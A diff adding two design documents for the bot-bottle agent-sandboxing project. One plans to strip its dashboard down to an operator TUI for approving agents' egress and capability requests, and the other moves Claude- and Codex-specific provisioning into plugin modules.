Three concrete pains, all downstream of the dashboard's growth:
|
||||||
|
|
||||||
|
1. **Surface area vs. polish.** `dashboard.py` is ~1740 lines;
|
||||||
|
`dashboard_model.py` adds another ~420. The interactions among
|
||||||
|
curses, modals, tmux split-pane, docker-exec handoff, agent
|
||||||
|
provider templates, metadata-driven re-attach, and
|
||||||
|
ExitStack-free bottle ownership are intricate enough that
|
||||||
|
shipping the next polish increment costs more than it returns.
|
||||||
|
2. **No clear ownership of "starts and stops bottles".** Today
|
||||||
|
that responsibility is split: `./cli.py start` owns one-shot
|
||||||
|
sessions; the dashboard owns multi-session bottles it started
|
||||||
|
itself; `./cli.py cleanup` owns everything else. The dashboard
|
||||||
|
tracking its own `bottles: dict[str, (cm, bottle, identity)]`
|
||||||
|
that doesn't survive a quit is a confusing third lane.
|
||||||
|
3. **Wrong target shape for a "manage many agents" UI.** The
|
||||||
|
parallel-agent experience the dashboard reaches for is mobile-
|
||||||
|
meaningful — checking in on agents from a phone is the high-
|
||||||
|
value case — and curses inside an SSH session is the wrong
|
||||||
|
tool for that. Continuing to polish a local-only TUI delays
|
||||||
|
the right next investment.
|
||||||
|
|
||||||
|
The triage half of the dashboard isn't suffering from any of these.
|
||||||
|
Pending proposals are a small, well-scoped, real workload, and the
|
||||||
|
PRD 0013–0016 surface for handling them is the right shape. The
|
||||||
|
problem is everything that got bolted onto that core after.
|
||||||
|
|
||||||
|
## Goals / Success Criteria
|
||||||
|
|
||||||
|
1. The supervise TUI starts up, lists pending proposals across all
|
||||||
|
running bottles, and supports approve / modify / reject + the
|
||||||
|
`--once` non-interactive mode — exactly as PRDs 0013–0016
|
||||||
|
specified, minus everything 0019/0020/0021 added.
|
||||||
|
2. The CLI subcommand is renamed `supervise` (was `dashboard`). The
|
||||||
|
old name is not aliased — this PRD is intentionally a
|
||||||
|
compat/breaking change (the issue carries the
|
||||||
|
`Compat/Breaking` label).
|
||||||
|
3. `dashboard.py` shrinks to a single proposal-triage curses loop:
|
||||||
|
no agents pane, no Tab pane switching, no agent picker, no
|
||||||
|
start / re-attach / stop verbs, no tmux split-pane, no
|
||||||
|
`e`/`p` operator-edit verbs, no per-process `bottles` dict.
|
||||||
|
4. `dashboard_model.py` is collapsed into whatever
|
||||||
|
`supervise.py` (CLI) needs; the model module is removed if it
|
||||||
|
has no purpose after the cut.
|
||||||
|
5. The proposal-side apply paths in `bot_bottle/backend/docker/
|
||||||
|
egress_apply.py`, `pipelock_apply.py`, and `capability_apply.py`
|
||||||
|
are unchanged — they are still called by the approve path.
|
||||||
|
6. The supervise-sidecar / proposal-queue protocol (PRD 0013) is
|
||||||
|
unchanged: the agent's experience is identical.
|
||||||
|
7. The previously-active PRDs that this one undoes are marked
|
||||||
|
`Superseded by PRD 0049`:
|
||||||
|
- PRD 0019 — active-agents pane + agent-scoped edit verbs
|
||||||
|
- PRD 0020 — start / re-attach / stop from the dashboard
|
||||||
|
- PRD 0021 — tmux split-pane
|
||||||
|
|
||||||
|
## Non-goals
|
||||||
|
|
||||||
|
- **A web GUI for managing agents.** The issue floats this as a
|
||||||
|
second pass; this PRD does not design or commit to it. The cut
|
||||||
|
is "remove the path we no longer want to invest in", not
|
||||||
|
"build the replacement".
|
||||||
|
- **A separate CLI for operator-initiated routes / pipelock
|
||||||
|
edits.** Today those edits live as `e` / `p` keys inside the
|
||||||
|
dashboard. After this PRD they don't exist anywhere — operators
|
||||||
|
who need ad-hoc edits use the same path the agents do (call the
|
||||||
|
supervise tool from inside the bottle) or hand-edit the host-
|
||||||
|
side files and restart the sidecar. Adding a `./cli.py routes
|
||||||
|
edit <slug>` verb is a follow-up if the loss bites.
|
||||||
|
- **Removing `./cli.py start` or changing its semantics.** Start
|
||||||
|
remains the one-shot launch path. PRD 0020's bottle-outlives-
|
||||||
|
process model is removed; the only path to a long-running
|
||||||
|
bottle is `./cli.py start` (foreground) plus `cli.py cleanup`
|
||||||
|
for teardown.
|
||||||
|
- **Removing the supervise-sidecar protocol or any of the three
|
||||||
|
block-remediation engines.** PRDs 0013–0016 stay Active. The
|
||||||
|
agent's view of the world doesn't change.
|
||||||
|
- **Renaming `dashboard` anywhere other than the CLI entry
|
||||||
|
point.** The dashboard-related docs (PRDs, decision records,
|
||||||
|
research notes) keep their historical references — they
|
||||||
|
describe the state of the world at the time they were written,
|
||||||
|
and the Status: Superseded line is the marker that the world
|
||||||
|
has moved on.
|
||||||
|
- **Migrating the proposal-queue file layout.** The queue still
|
||||||
|
lives at `~/.bot-bottle/queue/<slug>/`; the audit log still
|
||||||
|
lives at `~/.bot-bottle/audit/<component>-<slug>.log`. The CLI
|
||||||
|
surface changes; the on-disk surface does not.
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
### In scope
|
||||||
|
|
||||||
|
- **Rename the subcommand.** `./cli.py dashboard` becomes
|
||||||
|
`./cli.py supervise`. The module moves from `bot_bottle/cli/
|
||||||
|
dashboard.py` to `bot_bottle/cli/supervise.py`. The dispatcher
|
||||||
|
in `bot_bottle/cli/__init__.py` and the help text both update.
|
||||||
|
- **Strip the curses loop to proposal-only.** The remaining
|
||||||
|
surface is: list pending proposals (with the new-arrival bell
|
||||||
|
from PRD 0013), Enter for detail view,
|
||||||
|
`a`/`m`/`r` for approve / modify / reject, `q` to quit. No
|
||||||
|
agents pane, no Tab, no agent picker, no `n`/`x`/`e`/`p`, no
|
||||||
|
tmux dispatch, no `bottles` dict on the main loop.
|
||||||
|
- **Drop unused helpers.** `_picker_modal`, `_preflight_modal`,
|
||||||
|
`_backend_picker_modal`, `_new_agent_flow`, `_attach_to_bottle`,
|
||||||
|
`_attach_in_tmux`, `_attach_via_handoff`, `_tmux_*`,
|
||||||
|
`_ensure_right_pane`, `_redirect_stderr_to_file`,
|
||||||
|
`_route_op_to_right_pane`, `_stop_bottle_flow`,
|
||||||
|
`_operator_edit_*_flow`, `operator_edit_routes`,
|
||||||
|
`operator_edit_allowlist`, and their imports come out.
|
||||||
|
- **Collapse the model module.** `dashboard_model.py`'s
|
||||||
|
proposal-side helpers (`QueuedProposal`, `discover_pending`,
|
||||||
|
`_approval_status`, `_detail_lines`,
|
||||||
|
`_failed_url_host`, `_proposed_payload_label`,
|
||||||
|
`_suffix_for_tool`, `_REFRESH_INTERVAL_MS`) move back into
|
||||||
|
`supervise.py` (CLI) or into `bot_bottle/supervise.py`
|
||||||
|
(the daemon-side module) — wherever they fit. The agents /
|
||||||
|
picker / tmux helpers in that module (`PANE_*`,
|
||||||
|
`_filter_agents`, `_running_counts`, `_format_agent_row`,
|
||||||
|
`_selection_status`, `_selected_agent`, `_bottle_for_slug`,
|
||||||
|
`_pick_next_after_stop`, `_agent_runtime_args`,
|
||||||
|
`_build_resume_argv_with_fallback`, `_build_split_pane_argv`,
|
||||||
|
`_build_respawn_pane_argv`, `_in_tmux`,
|
||||||
|
`discover_active_agents`) are deleted.
|
||||||
|
- **Mark superseded PRDs.** The Status line on PRDs 0019, 0020,
|
||||||
|
and 0021 changes to `Superseded by [PRD 0049](0049-strip-
|
||||||
|
dashboard-to-supervisor-tui.md)`.
|
||||||
|
- **Test cleanup.** Any test that targets a removed surface (the
|
||||||
|
agent picker, the tmux split helpers, the start-from-dashboard
|
||||||
|
flow, the operator-edit flows, `discover_active_agents`)
|
||||||
|
comes out. Tests covering proposal triage stay.
|
||||||
|
- **Help / usage strings.** `bot_bottle/cli/__init__.py`'s usage
|
||||||
|
block updates the command name and one-liner.
|
||||||
|
|
||||||
|
### Out of scope
|
||||||
|
|
||||||
|
- Any new feature in the supervise TUI. The cut is purely
|
||||||
|
subtractive (except for the rename).
|
||||||
|
- Behavior changes in `./cli.py start`, `cli.py cleanup`,
|
||||||
|
`cli.py resume`, `cli.py list`, `cli.py info`, `cli.py edit`,
|
||||||
|
`cli.py init` — unchanged.
|
||||||
|
- Changes to the supervise sidecar (`supervise_server.py`,
|
||||||
|
`supervise.py` daemon module). The wire protocol stays.
|
||||||
|
- Changes to the routes / pipelock / capability apply engines.
|
||||||
|
- Migration helpers, deprecation warnings, or a transitional
|
||||||
|
`dashboard` alias for `supervise`. The label on the issue says
|
||||||
|
Compat/Breaking; the rename is a hard cutover.
|
||||||
|
|
||||||
|
## Proposed design
|
||||||
|
|
||||||
|
### Final shape of the TUI
|
||||||
|
|
||||||
|
After this PRD the `./cli.py supervise` curses surface is:
|
||||||
|
|
||||||
|
```
|
||||||
|
bot-bottle supervise (3 pending)
|
||||||
|
─────────────────────────────────────────────────────────
|
||||||
|
> 03:14:22 [implementer-cy7a6] egress-block abc123… add
|
||||||
|
github.com/foo
|
||||||
|
03:13:55 [researcher-9xqs1] pipelock-block def456… allow
|
||||||
|
registry.npmjs.org
|
||||||
|
03:13:10 [implementer-cy7a6] capability-block ghi789… install
|
||||||
|
ripgrep
|
||||||
|
|
||||||
|
─────────────────────────────────────────────────────────
|
||||||
|
[j/k] move [Enter] view [a] approve [m] modify [r] reject [q] quit
|
||||||
|
```
|
||||||
|
|
||||||
|
- One pane. No Tab. `j` / `k` / arrows move through the queue.
|
||||||
|
- Enter opens the existing detail view (justification +
|
||||||
|
proposed-file body + the green pipelock host-extraction hint).
|
||||||
|
`a` / `m` / `r` work from both the list view and the detail
|
||||||
|
view, same as today.
|
||||||
|
- `q` / Esc quits. There are no dashboard-owned bottles, so no
|
||||||
|
per-process teardown decision — `q` just exits.
|
||||||
|
- The new-arrival bell stays, because it is a real win for the
|
||||||
|
operator's "I was typing at claude and a proposal landed" case.
|
||||||
|
No tmux-specific focus management remains.
|
||||||
|
|
||||||
|
### Code organisation
|
||||||
|
|
||||||
|
After the cut, the CLI module looks roughly like:
|
||||||
|
|
||||||
|
```
|
||||||
|
bot_bottle/cli/supervise.py
|
||||||
|
- cmd_supervise(argv)
|
||||||
|
- _list_once() # --once mode
|
||||||
|
- _main_loop(stdscr) # proposal-only
|
||||||
|
- _render(stdscr, pending, ...)
|
||||||
|
- _detail_view(stdscr, qp, ...)
|
||||||
|
- _modify(stdscr, qp)
|
||||||
|
- _prompt(stdscr, label)
|
||||||
|
- _write_crash_log(exc)
|
||||||
|
- approve(qp, *, notes, final_file)
|
||||||
|
- reject(qp, *, reason)
|
||||||
|
- QueuedProposal, discover_pending
|
||||||
|
- _detail_lines, _approval_status,
|
||||||
|
_failed_url_host,
|
||||||
|
_proposed_payload_label,
|
||||||
|
_suffix_for_tool
|
||||||
|
```
|
||||||
|
|
||||||
|
`dashboard_model.py` has no purpose once the agents / picker /
|
||||||
|
tmux helpers are gone, so it is removed and the surviving
|
||||||
|
proposal-side helpers move into `supervise.py` directly. The
|
||||||
|
PRD-0013 refactor that split model out (`refactor: extract
|
||||||
|
dashboard state/model layer into dashboard_model.py`) was
|
||||||
|
load-bearing for the bigger dashboard surface; with the surface
|
||||||
|
shrunk back, the split is no longer justified.
|
||||||
|
|
||||||
|
### Removed PRDs: how to mark them
|
||||||
|
|
||||||
|
The three superseded PRDs keep their bodies intact. Only the
|
||||||
|
Status line at the top changes:
|
||||||
|
|
||||||
|
```
|
||||||
|
- **Status:** Superseded by [PRD
|
||||||
|
0049](0049-strip-dashboard-to-supervisor-tui.md)
|
||||||
|
```
|
||||||
|
|
||||||
|
The PRD's own Goals / Success Criteria are left as the historical
|
||||||
|
record of what the feature shipped — readers tracing back from the
|
||||||
|
code or the git log land in a PRD that explains what once was, with
|
||||||
|
a clear pointer forward. No PRD body is rewritten.
|
||||||
|
|
||||||
|
### Tests to keep, tests to remove
|
||||||
|
|
||||||
|
Keep:
|
||||||
|
- `tests/cli/test_dashboard*.py` cases that exercise
|
||||||
|
`discover_pending`, `approve`, `reject`, `_detail_lines`,
|
||||||
|
`_approval_status`, `_failed_url_host`,
|
||||||
|
`_proposed_payload_label`, `_suffix_for_tool`,
|
||||||
|
`_modify` / `edit_in_editor`.
|
||||||
|
- `tests/cli/test_dashboard_once.py` (or equivalent) — the
|
||||||
|
`--once` listing mode.
|
||||||
|
|
||||||
|
Remove:
|
||||||
|
- Any test of `_picker_modal`, `_preflight_modal`,
|
||||||
|
`_backend_picker_modal`, `_new_agent_flow`, `_attach_*`,
|
||||||
|
`_tmux_*`, `_route_op_to_right_pane`,
|
||||||
|
`_redirect_stderr_to_file`, `_stop_bottle_flow`,
|
||||||
|
`_operator_edit_*`, `_filter_agents`, `_running_counts`,
|
||||||
|
`_format_agent_row`, `_selection_status`,
|
||||||
|
`_selected_agent`, `_bottle_for_slug`,
|
||||||
|
`_pick_next_after_stop`, `_agent_runtime_args`,
|
||||||
|
`_build_*_argv`, `discover_active_agents`.
|
||||||
|
- The test files that exist solely to cover those (e.g.,
|
||||||
|
`test_dashboard_picker.py`, `test_dashboard_tmux.py`,
|
||||||
|
`test_dashboard_attach.py`, `test_dashboard_agents.py` —
|
||||||
|
whichever of these exist after the file walk).
|
||||||
|
|
||||||
|
Files are renamed `test_supervise_*.py` to mirror the module
|
||||||
|
rename. The rename is mechanical; no test logic changes.
|
||||||
|
|
||||||
|
## Implementation chunks
|
||||||
|
|
||||||
|
Sized for a single PR each.
|
||||||
|
|
||||||
|
1. **Strip + rename in one cut.** Move `bot_bottle/cli/
|
||||||
|
dashboard.py` to `bot_bottle/cli/supervise.py`, delete the
|
||||||
|
removed helpers, delete `dashboard_model.py`, inline the
|
||||||
|
surviving helpers, update the dispatcher + usage in
|
||||||
|
`bot_bottle/cli/__init__.py`, rename tests to match, mark
|
||||||
|
PRDs 0019/0020/0021 as superseded. One commit per logical
|
||||||
|
piece inside the PR (rename, strip, supersede notes,
|
||||||
|
tests).
|
||||||
|
2. **Activate PRD 0049.** Flip this PRD's Status line from
|
||||||
|
Draft to Active in the same PR as chunk 1 once the
|
||||||
|
implementation lands. (The repo convention is that a PRD's
|
||||||
|
shipping commit is also the Status flip — see the recent
|
||||||
|
`docs(prd): activate PRD 0048…` commit shape.)
|
||||||
|
|
||||||
|
The PR closes issue #174.
|
||||||
|
|
||||||
|
## Open questions
|
||||||
|
|
||||||
|
1. **`e` / `p` operator-initiated edits — gone for good or
|
||||||
|
moved to a separate CLI verb?** The PRD removes them with no
|
||||||
|
replacement. The simplest replacement is `./cli.py routes
|
||||||
|
edit <slug>` and `./cli.py pipelock edit <slug>`, sharing
|
||||||
|
the existing `apply_routes_change` / `apply_allowlist_change`
|
||||||
|
engines. If the loss is felt within the first parallel
|
||||||
|
run after this lands, that follow-up is a small PR. Leaving
|
||||||
|
it for a separate PRD so this one stays subtractive.
|
||||||
|
|
||||||
|
2. **`--once` output shape.** The text listing today emits one
|
||||||
|
proposal per line. Worth keeping exactly as-is for
|
||||||
|
scripting consumers; this PRD does not change it. Flagging
|
||||||
|
only because the rename could tempt a tweak.
|
||||||
|
|
||||||
|
3. **Audit-log entry shape for an unprompted edit applied via
|
||||||
|
a future `routes edit` CLI verb.** Today's
|
||||||
|
`operator_edit_routes` writes an `ACTION_OPERATOR_EDIT`
|
||||||
|
audit entry. With those flows removed the constant has no
|
||||||
|
callers inside this PRD's scope. Keep the constant exported
|
||||||
|
from `supervise.py` (it's already an `__all__` member) so a
|
||||||
|
follow-up CLI verb can re-use the same audit shape without
|
||||||
|
re-introducing dead code first.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- Issue
|
||||||
|
[#174](https://gitea.dideric.is/didericis/bot-bottle/issues/174)
|
||||||
|
— the request: "strip the dashboard down into just a TUI for
|
||||||
|
managing agent requests for new egress routes and new
|
||||||
|
capabilities."
|
||||||
|
- PRD 0013 — supervise plane foundation (the floor this PRD
|
||||||
|
reverts the dashboard to).
|
||||||
|
- PRDs 0014 / 0015 / 0016 — block-remediation engines that the
|
||||||
|
supervise TUI continues to drive on approve.
|
||||||
|
- PRDs 0019 / 0020 / 0021 — the bolted-on capabilities this PRD
|
||||||
|
removes.
|
||||||
@@ -0,0 +1,401 @@
|
|||||||
|
# PRD 0050: Move provider-specific agent logic into contrib
|
||||||
|
|
||||||
|
- **Status:** Active
|
||||||
|
- **Author:** claude
|
||||||
|
- **Created:** 2026-06-03
|
||||||
|
- **Issue:** #177
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The agent provider module (`bot_bottle/agent_provider.py`) hard-codes
|
||||||
|
the Claude- and Codex-specific provisioning rules — auth file shapes,
|
||||||
|
trust-dialog markers, egress routes, dummy-auth dance, env vars — in a
|
||||||
|
single `if template == "codex": ... if template == "claude": ...`
|
||||||
|
chain (lines 154–230 today). Other pieces of provider behavior live in
|
||||||
|
each backend's `provision/` directory (`provision_skills`,
|
||||||
|
`provision_prompt`, `provision_provider_auth`, `provision_supervise`),
|
||||||
|
duplicated once per backend, even though almost none of what they do
|
||||||
|
is actually backend-specific.
|
||||||
|
|
||||||
|
This PRD reshapes the agent provider into a proper plugin boundary.
|
||||||
|
The two existing providers (Claude, Codex) move out of `agent_provider`
|
||||||
|
into `bot_bottle/contrib/claude/` and `bot_bottle/contrib/codex/` —
|
||||||
|
the same `contrib/` layout PRD 0048 established for the Gitea
|
||||||
|
deploy-key provisioner. The four provisioner methods backends
|
||||||
|
currently duplicate move into the provider plugin itself; the backend
|
||||||
|
keeps only the bottle-side primitives (`cp_in`, `exec`) the plugin
|
||||||
|
calls through. MCP server registration becomes a first-class part of
|
||||||
|
the provider contract so Codex finally gets the supervise sidecar
|
||||||
|
wired in alongside Claude.
|
||||||
|
|
||||||
|
The shipping artifact is two new provider plugins under `contrib/`, a
|
||||||
|
narrower `AgentProvider` ABC in `bot_bottle/agent_provider.py`, four
|
||||||
|
fewer provisioner hooks on `BottleBackend`, and a supervise-MCP entry
|
||||||
|
visible from the Codex agent at launch.
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Three concrete pains, all downstream of the provider abstraction not
|
||||||
|
being where the work happens:
|
||||||
|
|
||||||
|
1. **Adding a third provider is a five-file edit.** A hypothetical
|
||||||
|
Gemini or Aider provider has to: (a) add a branch in
|
||||||
|
`agent_provision_plan`, (b) add a runtime entry in `_RUNTIMES`,
|
||||||
|
(c) thread a `prompt_mode` enum value, (d) potentially extend
|
||||||
|
`provision_provider_auth` per backend, (e) wire MCP registration
|
||||||
|
into both `backend/docker/provision/supervise.py` and
|
||||||
|
`backend/smolmachines/provision/supervise.py`. Nothing about that
|
||||||
|
spread is load-bearing; it's leftover from when there was one
|
||||||
|
provider.
|
||||||
|
|
||||||
|
2. **MCP server registration is Claude-only.** Both
|
||||||
|
`backend/docker/provision/supervise.py` and
|
||||||
|
`backend/smolmachines/provision/supervise.py` run `claude mcp add`
|
||||||
|
verbatim. Codex bottles silently get no MCP entry — the sidecar
|
||||||
|
is running, the routes are open, but the agent can't see the
|
||||||
|
tools because nothing wrote them into Codex's TOML config. Today
|
||||||
|
this is a latent gap. The provider plugin is the only layer that
|
||||||
|
knows how a given agent discovers MCP servers, so that's where
|
||||||
|
the registration belongs.
|
||||||
|
|
||||||
|
3. **`provision_skills` / `provision_prompt` / `provision_provider_auth`
|
||||||
|
are duplicated between backends.** Each backend has its own
|
||||||
|
~50-line copy. The differences are entirely about which path the
|
||||||
|
backend uses for `cp_in` and what user it `chown`s to. Same
|
||||||
|
business logic, two implementations, two test surfaces, two
|
||||||
|
places to update when the rules change.
|
||||||
|
|
||||||
|
The agent_provider module is the right home for all of this. It already
|
||||||
|
owns the `AgentProvisionPlan` (the declarative description of what
|
||||||
|
needs to land in the guest); extending it to own the imperative
|
||||||
|
"actually land it" step is the natural next move. Putting
|
||||||
|
provider-specific code under `contrib/` mirrors the convention PRD 0048
|
||||||
|
established and keeps the core package provider-agnostic.
|
||||||
|
|
||||||
|
## Goals / Success Criteria
|
||||||
|
|
||||||
|
1. `bot_bottle/agent_provider.py` contains no Claude- or
|
||||||
|
Codex-specific branches. The Claude and Codex template strings
|
||||||
|
themselves still live in the core module (they're the public
|
||||||
|
manifest values), but everything keyed off them moves out.
|
||||||
|
2. `bot_bottle/contrib/claude/agent_provider.py` and
|
||||||
|
`bot_bottle/contrib/codex/agent_provider.py` exist and contain
|
||||||
|
the provider-specific behavior previously in lines 154–230 of
|
||||||
|
`agent_provider.py`. Each is reachable from the core registry via
|
||||||
|
a lazy import (the same pattern PRD 0048 used for
|
||||||
|
`GiteaDeployKeyProvisioner`).
|
||||||
|
3. `AgentProvider` is an ABC (or protocol) with at minimum:
|
||||||
|
- `provision_plan(...) -> AgentProvisionPlan` — what the existing
|
||||||
|
`agent_provision_plan` produces today, scoped to one provider.
|
||||||
|
- `provision_skills(bottle, plan)` — copy host skills into the guest.
|
||||||
|
- `provision_prompt(bottle, plan)` — copy the prompt file, return
|
||||||
|
the in-guest path (or None).
|
||||||
|
- `provision_supervise_mcp(bottle, plan, supervise_url)` — register
|
||||||
|
the supervise sidecar in the provider's MCP config. No-op when
|
||||||
|
the bottle has no supervise sidecar.
|
||||||
|
- The Claude implementation runs `claude mcp add`. The Codex
|
||||||
|
implementation writes the corresponding entry into
|
||||||
|
`~/.codex/config.toml`'s `[mcp_servers.supervise]` table.
|
||||||
|
4. `BottleBackend` loses the four abstract methods being moved
|
||||||
|
(`provision_skills`, `provision_prompt`, `provision_provider_auth`,
|
||||||
|
`provision_supervise`). `BottleBackend.provision_in_bottle` calls
|
||||||
|
the provider plugin directly via the bottle and plan it already
|
||||||
|
has. `provision_ca`, `provision_workspace`, and `provision_git`
|
||||||
|
stay on the backend — they're backend infrastructure, not
|
||||||
|
provider behavior.
|
||||||
|
5. `bot_bottle/backend/docker/provision/{skills,prompt,provider_auth,
|
||||||
|
supervise}.py` and `bot_bottle/backend/smolmachines/provision/{skills,
|
||||||
|
prompt,provider_auth,supervise}.py` are deleted. The
|
||||||
|
backend-specific provisioners that remain (`ca`, `git`,
|
||||||
|
`workspace`) stay.
|
||||||
|
6. A Codex bottle launched with `--supervise` shows the
|
||||||
|
supervise MCP server entry in its Codex config and can call
|
||||||
|
supervise tools from inside the bottle (egress-block,
|
||||||
|
pipelock-block, capability-block).
|
||||||
|
7. Existing tests for the moved logic move with the code:
|
||||||
|
provider-specific tests under `tests/unit/test_contrib_claude_*.py`
|
||||||
|
and `tests/unit/test_contrib_codex_*.py`, mirroring
|
||||||
|
`tests/unit/test_contrib_gitea_deploy_key.py`.
|
||||||
|
8. PRD 0050's Status flips Draft → Active in the same commit that
|
||||||
|
removes the last `if template == "claude"` branch from
|
||||||
|
`agent_provider.py`.
|
||||||
|
|
||||||
|
## Non-goals
|
||||||
|
|
||||||
|
- **A third agent provider.** This PRD reshapes the boundary so a
|
||||||
|
third provider is cheap to add. It does not add one.
|
||||||
|
- **Changing the manifest surface.** The `agent.provider`
|
||||||
|
manifest field still takes `"claude"` or `"codex"`. The set of
|
||||||
|
valid strings is unchanged.
|
||||||
|
- **Changing `AgentProvisionPlan`'s shape.** The dataclasses
|
||||||
|
(`AgentProvisionDir`, `AgentProvisionFile`, `AgentProvisionCommand`,
|
||||||
|
`AgentProvisionPlan` itself) stay in the core module and keep their
|
||||||
|
current fields. Provider plugins produce the same plan shape; only
|
||||||
|
the producer moves.
|
||||||
|
- **Changing the supervise sidecar protocol or the supervise tool
|
||||||
|
surface.** PRDs 0013–0016 stay Active. What changes is how the
|
||||||
|
agent discovers the sidecar's MCP endpoint, not what it does once
|
||||||
|
connected.
|
||||||
|
- **Per-skill provider differences.** A Codex agent and a Claude
|
||||||
|
agent see the same `~/.claude/skills/<name>/` tree today (Codex
|
||||||
|
reads it via its own skills mechanism). This PRD does not change
|
||||||
|
that — `provision_skills` lands the same content for both.
|
||||||
|
- **Removing the `prompt_args` helper from `agent_provider.py`.** It
|
||||||
|
stays at module scope; it's already a pure dispatch on `prompt_mode`
|
||||||
|
and has no Claude/Codex `if` chain to extract.
|
||||||
|
- **`provision_provider_auth` migration.** The issue notes this method
|
||||||
|
is "probably not needed anymore" once each provider owns its own
|
||||||
|
provisioning. After the move, the work that
|
||||||
|
`provision_provider_auth` did (apply `dirs` / `files` / `pre_copy` /
|
||||||
|
`verify` from the plan) becomes a shared helper the per-provider
|
||||||
|
`provision_skills` / `provision_prompt` calls dispatch through —
|
||||||
|
or, more likely, a single `provision(bottle)` entry point on the
|
||||||
|
provider. The hook is removed from `BottleBackend`; whether the
|
||||||
|
underlying loop lives on `AgentProvider` as a default
|
||||||
|
implementation or as a free function in `contrib/_apply.py` is
|
||||||
|
decided at implementation time, not in this PRD.
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
### In scope
|
||||||
|
|
||||||
|
- New `AgentProvider` ABC in `bot_bottle/agent_provider.py` with the
|
||||||
|
five methods listed under Goal 3. Existing `agent_provision_plan`
|
||||||
|
becomes `AgentProvider.provision_plan`.
|
||||||
|
- New `bot_bottle/contrib/claude/__init__.py`,
|
||||||
|
`bot_bottle/contrib/claude/agent_provider.py`,
|
||||||
|
`bot_bottle/contrib/codex/__init__.py`,
|
||||||
|
`bot_bottle/contrib/codex/agent_provider.py`. Each defines a
|
||||||
|
`ClaudeAgentProvider` / `CodexAgentProvider` class.
|
||||||
|
- A `get_provider(template) -> AgentProvider` registry in
|
||||||
|
`bot_bottle/agent_provider.py`, lazy-imported from `contrib/`,
|
||||||
|
mirroring `get_provisioner(provider, ...)` in
|
||||||
|
`bot_bottle/deploy_key_provisioner.py`.
|
||||||
|
- Backend changes:
|
||||||
|
- `BottleBackend.provision_in_bottle` resolves the provider once
|
||||||
|
and calls `provider.provision_skills(bottle, plan)`,
|
||||||
|
`provider.provision_prompt(bottle, plan)`, and
|
||||||
|
`provider.provision_supervise_mcp(bottle, plan, url)` in place
|
||||||
|
of the current four abstract hooks.
|
||||||
|
- `BottleBackend.provision_skills`, `provision_prompt`,
|
||||||
|
`provision_provider_auth`, `provision_supervise` are removed.
|
||||||
|
- Docker and smolmachines backends remove their corresponding
|
||||||
|
`provision_*` implementations and the
|
||||||
|
`backend/<name>/provision/{skills,prompt,provider_auth,
|
||||||
|
supervise}.py` modules.
|
||||||
|
- Codex MCP wiring: `CodexAgentProvider.provision_supervise_mcp`
|
||||||
|
writes a `[mcp_servers.supervise]` block into
|
||||||
|
`~/.codex/config.toml` pointing at the same agent-side supervise
|
||||||
|
URL the Claude provider uses. The file already exists from the
|
||||||
|
trust-dialog step; the MCP entry is appended (or the file is
|
||||||
|
rewritten in a single shot, whichever's simpler).
|
||||||
|
- Tests migrate. Backend tests that targeted the four moved
|
||||||
|
provisioners are rewritten against the provider plugin, with one
|
||||||
|
test file per provider mirroring `tests/unit/test_contrib_gitea_*.py`.
|
||||||
|
|
||||||
|
### Out of scope
|
||||||
|
|
||||||
|
- Adding a manifest field for "extra MCP servers the agent should
|
||||||
|
see". The supervise sidecar is the only MCP server provisioned
|
||||||
|
today, and the issue's "Add mcp server configuring into agent
|
||||||
|
provision" line is about the supervise sidecar specifically. A
|
||||||
|
general-purpose user-declared MCP list is a follow-up if and when
|
||||||
|
the need surfaces.
|
||||||
|
- Refactoring `AgentProvisionPlan`'s dataclasses. They stay byte-
|
||||||
|
for-byte the same so the diff is purely "who owns the producer".
|
||||||
|
- A `BottleBackend.provision_provider_auth` shim during transition.
|
||||||
|
The hook is removed in one cut; the only caller is the backend
|
||||||
|
itself, no manifest consumers reference it.
|
||||||
|
- Renaming `agent_provider.py` → `agent_providers/`. The module
|
||||||
|
still has core dataclasses + the ABC + the registry; it's a single
|
||||||
|
file's worth of code.
|
||||||
|
|
||||||
|
## Proposed design
|
||||||
|
|
||||||
|
### Module shape after the cut
|
||||||
|
|
||||||
|
```
|
||||||
|
bot_bottle/agent_provider.py
|
||||||
|
PROVIDER_CLAUDE, PROVIDER_CODEX, PROVIDER_TEMPLATES
|
||||||
|
PromptMode (Literal)
|
||||||
|
AgentProvisionDir, AgentProvisionFile, AgentProvisionCommand,
|
||||||
|
AgentProvisionPlan (dataclasses, unchanged)
|
||||||
|
AgentProviderRuntime (dataclass — template/command/image/etc.)
|
||||||
|
AgentProvider (ABC)
|
||||||
|
.runtime() -> AgentProviderRuntime
|
||||||
|
.provision_plan(state_dir, ..., trusted_project_path, ...) -> AgentProvisionPlan
|
||||||
|
.provision_skills(bottle, plan) -> None
|
||||||
|
.provision_prompt(bottle, plan) -> str | None
|
||||||
|
.provision_supervise_mcp(bottle, plan, supervise_url) -> None
|
||||||
|
get_provider(template: str) -> AgentProvider # lazy-imports contrib
|
||||||
|
prompt_args(prompt_mode, prompt_path, *, argv) # unchanged
|
||||||
|
|
||||||
|
bot_bottle/contrib/claude/agent_provider.py
|
||||||
|
ClaudeAgentProvider(AgentProvider)
|
||||||
|
_RUNTIME = AgentProviderRuntime(template="claude", ...)
|
||||||
|
.provision_plan(...) # owns the lines-204–230 chunk
|
||||||
|
.provision_skills(...) # was backend/<name>/provision/skills.py
|
||||||
|
.provision_prompt(...) # was backend/<name>/provision/prompt.py
|
||||||
|
.provision_supervise_mcp(...)# was backend/<name>/provision/supervise.py
|
||||||
|
|
||||||
|
bot_bottle/contrib/codex/agent_provider.py
|
||||||
|
CodexAgentProvider(AgentProvider)
|
||||||
|
_RUNTIME = AgentProviderRuntime(template="codex", ...)
|
||||||
|
.provision_plan(...) # owns the lines-154–204 chunk
|
||||||
|
.provision_skills(...) # same as Claude impl, factored to shared helper
|
||||||
|
.provision_prompt(...) # same as Claude impl, factored to shared helper
|
||||||
|
.provision_supervise_mcp(...)# writes [mcp_servers.supervise] to config.toml
|
||||||
|
```
|
||||||
|
|
||||||
|
The skills / prompt / provider-auth-apply implementations are 99%
|
||||||
|
identical across providers — `cp_in` then `chown` / `chmod`. They are
|
||||||
|
extracted to small free functions in
|
||||||
|
`bot_bottle/contrib/_provision_apply.py` (or kept as default
|
||||||
|
implementations on `AgentProvider` if every concrete subclass would
|
||||||
|
just call them). Picked at implementation time; both options match
|
